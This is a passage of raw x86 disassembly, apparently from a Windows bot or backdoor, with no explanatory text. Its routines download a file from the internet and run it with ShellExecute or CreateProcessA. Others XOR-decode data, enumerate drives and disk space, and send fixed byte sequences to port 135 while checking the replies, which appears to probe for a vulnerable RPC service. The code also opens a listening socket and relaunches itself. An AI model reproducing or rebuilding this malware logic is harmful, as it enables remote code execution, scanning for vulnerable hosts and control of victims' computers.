		push	ebx
		call	sub_415CF8
		pop	ecx
		mov	[ebp-1Ch], eax


loc_404E2E:				; CODE XREF: .text:00404F01j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_491574	; InternetReadFile
		cmp	[ebp-34h], esi
		jz	short loc_404E72
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4011EF
		pop	ecx
		pop	ecx


loc_404E72:				; CODE XREF: .text:00404E5Fj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_49535C	; WriteFile
		cmp	edi, ebx
		jnb	short loc_404EB0
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_404E9A
		mov	eax, [ebp+8]


loc_404E9A:				; CODE XREF: .text:00404E95j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_415960
		add	esp, 0Ch


loc_404EB0:				; CODE XREF: .text:00404E8Cj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_404EBD
		cmp	edi, [ebp-3Ch]
		ja	short loc_404F07


loc_404EBD:				; CODE XREF: .text:00404EB6j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_404ED7
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BA7C
		jmp	short loc_404EE7
; ---------------------------------------------------------------------------


loc_404ED7:				; CODE XREF: .text:00404EC3j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BA34


loc_404EE7:				; CODE XREF: .text:00404ED5j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E720
		push	eax
		call	sub_416821
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_404E2E


loc_404F07:				; CODE XREF: .text:00404EBBj
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_404F5C
		cmp	edi, [ebp-3Ch]
		jz	short loc_404F5C
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_42B9E8
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4010D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_401014
		add	esp, 28h


loc_404F5C:				; CODE XREF: .text:00404F11j
					; .text:00404F16j
		call	ds:dword_495340	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_495358	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_415D6C
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_404FE6
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4012B7
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_404FE6
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42B9AC
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4010D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_401014
		add	esp, 28h


loc_404FE6:				; CODE XREF: .text:00404F8Ej
					; .text:00404FA0j
		cmp	[ebp-14h], esi
		jz	loc_405226
		cmp	dword ptr [ebp-44h], 1
		jz	loc_4050E1
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_427568
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_427568
		fstp	qword ptr [esp]
		push	offset unk_42B95C
		push	eax
		call	sub_416821
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_405061
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4010D2
		add	esp, 14h


loc_405061:				; CODE XREF: .text:0040503Fj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_401014
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_405226
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4915D0
		cmp	[ebp-30h], esi
		jnz	loc_405226
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_42B924
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4010D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_401014
		add	esp, 24h
		jmp	loc_405226
; ---------------------------------------------------------------------------


loc_4050E1:				; CODE XREF: .text:00404FF3j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_427568
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_427568
		fstp	qword ptr [esp]
		push	offset unk_42B8C8
		push	eax
		call	sub_416821
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_405149
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4010D2
		add	esp, 14h


loc_405149:				; CODE XREF: .text:00405127j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_401014
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_415CA0
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_4370BC
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	ds:dword_495354	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_4051CB
		call	dword_4915BC	; WSACleanup
		call	sub_401122
		push	esi
		call	ds:dword_495350	; ExitProcess


loc_4051CB:				; CODE XREF: .text:004051B7j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_42B874
		jmp	short loc_4051E5
; ---------------------------------------------------------------------------


loc_4051D9:				; CODE XREF: .text:00404D92j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42B834


loc_4051E5:				; CODE XREF: .text:004051D7j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416821
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_405219
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4010D2
		add	esp, 14h


loc_405219:				; CODE XREF: .text:004051F7j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_401014
		pop	ecx


loc_405226:				; CODE XREF: .text:00404FE9j
					; .text:00405072j ...
		push	dword ptr [ebp-18h]
		call	dword_491690	; InternetCloseHandle
		push	dword ptr [ebp-48h]
		call	sub_4012A3
		pop	ecx
		push	esi
		call	ds:dword_495334	; ExitThread
; ---------------------------------------------------------------------------
		db 13Ch	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40537B	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_405397


loc_405387:				; CODE XREF: sub_40537B+1Aj
		mov	dl, byte_42C952
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_405387

locret_405397:				; CODE XREF: sub_40537B+Aj
		retn
sub_40537B	endp

; ---------------------------------------------------------------------------
		db 7 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40539F	proc near		; CODE XREF: sub_401005j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417025
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40539F	endp

; ---------------------------------------------------------------------------
		db 6 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401217j

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43DB40
		push	0
		push	edi
		call	sub_415CA0
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_4053E4:				; CODE XREF: sub_4053BF+5Bj
					; sub_4053BF+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4170E0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_417070
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_405422
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4053E4
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4053E4
; ---------------------------------------------------------------------------


loc_405422:				; CODE XREF: sub_4053BF+4Bj
		dec	esi
		mov	eax, edi


loc_405425:				; CODE XREF: sub_4053BF+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_405434
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_405425
; ---------------------------------------------------------------------------


loc_405434:				; CODE XREF: sub_4053BF+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4053BF	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40545D	proc near		; CODE XREF: sub_401082j

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4916BC	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4054A0
		dec	eax
		jz	short loc_40549A
		dec	eax
		dec	eax
		jz	short loc_405494
		dec	eax
		jz	short loc_40548E
		dec	eax
		jz	short loc_405488
		dec	eax
		jz	short loc_405482
		mov	eax, offset word_42BB44
		retn
; ---------------------------------------------------------------------------


loc_405482:				; CODE XREF: sub_40545D+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_405488:				; CODE XREF: sub_40545D+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40548E:				; CODE XREF: sub_40545D+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_405494:				; CODE XREF: sub_40545D+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40549A:				; CODE XREF: sub_40545D+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4054A0:				; CODE XREF: sub_40545D+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40545D	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054B8	proc near		; CODE XREF: sub_4011BDj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_491558
		test	eax, eax
		jz	short loc_4054ED
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_4054ED:				; CODE XREF: sub_4054B8+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4054B8	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405512	proc near		; CODE XREF: sub_4010AAj

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4011BD
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4055EA
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4055EA
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4055EA
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417160
		push	edx
		push	eax
		call	sub_401217
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417160
		push	edx
		push	eax
		call	sub_401217
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417160
		push	edx
		push	eax
		call	sub_401217
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4163D7
		add	esp, 18h
		pop	ebx
		jmp	short loc_405619
; ---------------------------------------------------------------------------


loc_4055EA:				; CODE XREF: sub_405512+2Cj
					; sub_405512+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_416821
		add	esp, 18h


loc_405619:				; CODE XREF: sub_405512+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_405512	endp

; ---------------------------------------------------------------------------
		db 46h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405673	proc near		; CODE XREF: sub_401073j

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_4010AA
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_416B70
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4056E6
		push	ebx
		push	ebx
		call	sub_401082
		pop	ecx
		push	eax
		push	offset unk_42BBAC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 14h
		jmp	short loc_40571A
; ---------------------------------------------------------------------------


loc_4056E6:				; CODE XREF: sub_405673+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_401082
		pop	ecx
		push	eax
		push	offset unk_42BB58
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4163D7
		add	esp, 20h


loc_40571A:				; CODE XREF: sub_405673+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_401014
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405673	endp

; ---------------------------------------------------------------------------
		db 34h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405779	proc near		; CODE XREF: sub_40134Dj

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40579A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401073
		add	esp, 10h
		jmp	short loc_4057FB
; ---------------------------------------------------------------------------


loc_40579A:				; CODE XREF: sub_405779+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4915CC	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_415CF8
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4915CC	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4057F2


loc_4057BE:				; CODE XREF: sub_405779+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4057E1
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401073
		add	esp, 10h


loc_4057E1:				; CODE XREF: sub_405779+54j
		push	esi
		call	sub_4158E0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_4057BE


loc_4057F2:				; CODE XREF: sub_405779+43j
		push	edi
		call	sub_415D6C
		pop	ecx
		pop	edi
		pop	esi


loc_4057FB:				; CODE XREF: sub_405779+1Fj
		pop	ebx
		pop	ebp
		retn
sub_405779	endp

; ---------------------------------------------------------------------------
		db 21h dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E92C
		call	dword_4916F4	; closesocket
		call	sub_401109
		call	dword_4915BC	; WSACleanup
		call	dword_4915BC	; WSACleanup
		mov	ebx, ds:dword_495324
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_415CA0
		push	44h
		lea	eax, [ebp-54h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415CA0
		add	esp, 18h
		mov	[ebp-54h], esi
		mov	esi, 104h
		lea	eax, [ebp-25Ch]
		push	esi
		push	eax
		mov	dword ptr [ebp-48h], offset byte_4370BC
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], di
		call	ds:dword_495364	; GetSystemDirectoryA
		lea	eax, [ebp-158h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_495330	; GetModuleFileNameA
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		lea	eax, [ebp-25Ch]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp-158h]
		push	edi
		push	eax
		push	edi
		call	ds:dword_495354	; CreateProcessA
		test	eax, eax
		jz	short loc_4058E4
		push	64h
		call	ebx	; Sleep
		push	dword ptr [ebp-10h]
		mov	esi, ds:dword_495358
		call	esi	; CloseHandle
		push	dword ptr [ebp-0Ch]
		call	esi	; CloseHandle


loc_4058E4:				; CODE XREF: .text:004058CEj
		mov	eax, [ebp+10h]
		mov	dword ptr [eax+0B0h], offset dword_43DB84
		mov	eax, [esp]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_495350	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 3Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405941	proc near		; CODE XREF: sub_401226j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40596F


loc_405952:				; CODE XREF: sub_405941+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417210
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405975
		inc	esi
		cmp	esi, edi
		jl	short loc_405952


loc_40596F:				; CODE XREF: sub_405941+Fj
		xor	al, al


loc_405971:				; CODE XREF: sub_405941+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405975:				; CODE XREF: sub_405941+27j
		mov	al, 1
		jmp	short loc_405971
sub_405941	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(0CCh)
; ---------------------------------------------------------------------------


loc_405987:				; CODE XREF: .text:0040131Bj
		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_416880
		mov	eax, [ebp+0Ch]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4059C8
		dec	eax
		jz	short loc_4059A6
		dec	eax


loc_4059A0:				; CODE XREF: .text:004059DEj
		xor	eax, eax


loc_4059A2:				; CODE XREF: .text:004059C6j
					; .text:00405AF0j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4059A6:				; CODE XREF: .text:0040599Dj
		push	3
		push	1388h
		push	dword ptr [ebp+8]
		call	dword_49169C	; inet_addr
		push	eax
		call	sub_4012A8
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4059A2
; ---------------------------------------------------------------------------


loc_4059C8:				; CODE XREF: .text:0040599Aj
		push	6
		push	1
		push	2
		call	dword_4916DC	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+0Ch], esi
		jz	short loc_4059A0
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	87h
		call	dword_49165C	; htons
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_4011C2
		pop	ecx
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_491604	; connect
		cmp	eax, edi
		jz	loc_405AE4
		push	ebx
		push	48h
		push	offset dword_42BC04
		push	esi
		call	dword_4916AC	; send
		cmp	eax, edi
		jz	loc_405AE4
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_491674	; recv
		cmp	eax, edi
		jz	loc_405AE4
		cmp	byte ptr [ebp-200Eh], 0Ch
		jnz	short loc_405AE4
		push	ebx
		push	18h
		push	offset dword_42BC50
		push	dword ptr [ebp+0Ch]
		call	dword_4916AC	; send
		cmp	eax, edi
		jz	short loc_405AE4
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_491674	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_405AE4
		cmp	byte ptr [ebp-200Eh], 2
		jnz	short loc_405AE4
		push	10h
		push	offset dword_42BC6C
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_401226
		add	esp, 10h
		test	al, al
		jz	short loc_405AC4
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_405AE4
; ---------------------------------------------------------------------------


loc_405AC4:				; CODE XREF: .text:00405AB6j
		push	10h
		push	offset dword_42BC80
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_401226
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_405AE4:				; CODE XREF: .text:00405A22j
					; .text:00405A39j ...
		push	dword ptr [ebp+0Ch]
		call	dword_4916F4	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_4059A2
; ---------------------------------------------------------------------------
		db 5Bh dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp-6DCh]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp-0A6Ch]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp-28h], ebx
		mov	[ebp-18h], ebx
		mov	[ebp-228h], edi
		mov	[ebp-438h], edi
		call	ds:dword_495518	; WSAStartup
		push	edi
		call	sub_4174F2
		push	eax
		call	sub_416B0E
		push	0FA00h
		push	539h
		call	sub_40133E
		add	esp, 10h
		mov	dword_43DB94, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_49553C	; socket
		mov	esi, eax
		lea	eax, [ebp-28h]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp-0Ch], esi
		call	ds:dword_49551C	; setsockopt
		lea	eax, [ebp-18h]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_495520	; ioctlsocket
		mov	ax, word ptr dword_43DB94
		mov	word ptr [ebp-38h], 2
		push	eax
		mov	[ebp-34h], edi
		call	ds:dword_495524	; htons
		mov	[ebp-36h], ax
		lea	eax, [ebp-38h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_495528	; bind
		test	eax, eax
		jge	short loc_405C25
		mov	eax, ebx
		jmp	loc_40614C
; ---------------------------------------------------------------------------


loc_405C25:				; CODE XREF: .text:00405C1Cj
		push	0Ah
		push	esi
		call	ds:dword_49552C	; listen
		mov	[ebp-228h], ebx
		mov	ebx, ds:dword_495540
		mov	[ebp-224h], esi
		mov	[ebp-4], esi


loc_405C43:				; CODE XREF: .text:00405C7Cj
					; .text:00406144j
		push	41h
		lea	esi, [ebp-228h]
		pop	ecx
		lea	edi, [ebp-438h]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp-438h]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp-4]
		inc	eax
		push	eax
		call	ds:dword_495544	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_406149
		xor	edi, edi
		cmp	[ebp-4], esi
		mov	[ebp+8], edi
		jl	short loc_405C43


loc_405C7E:				; CODE XREF: .text:0040613Ej
		xor	esi, esi
		push	64h
		lea	eax, [ebp-29Ch]
		push	esi
		push	eax
		call	sub_415CA0
		push	64h
		lea	eax, [ebp-0ACh]
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 18h
		lea	eax, [ebp-438h]
		push	eax
		push	edi
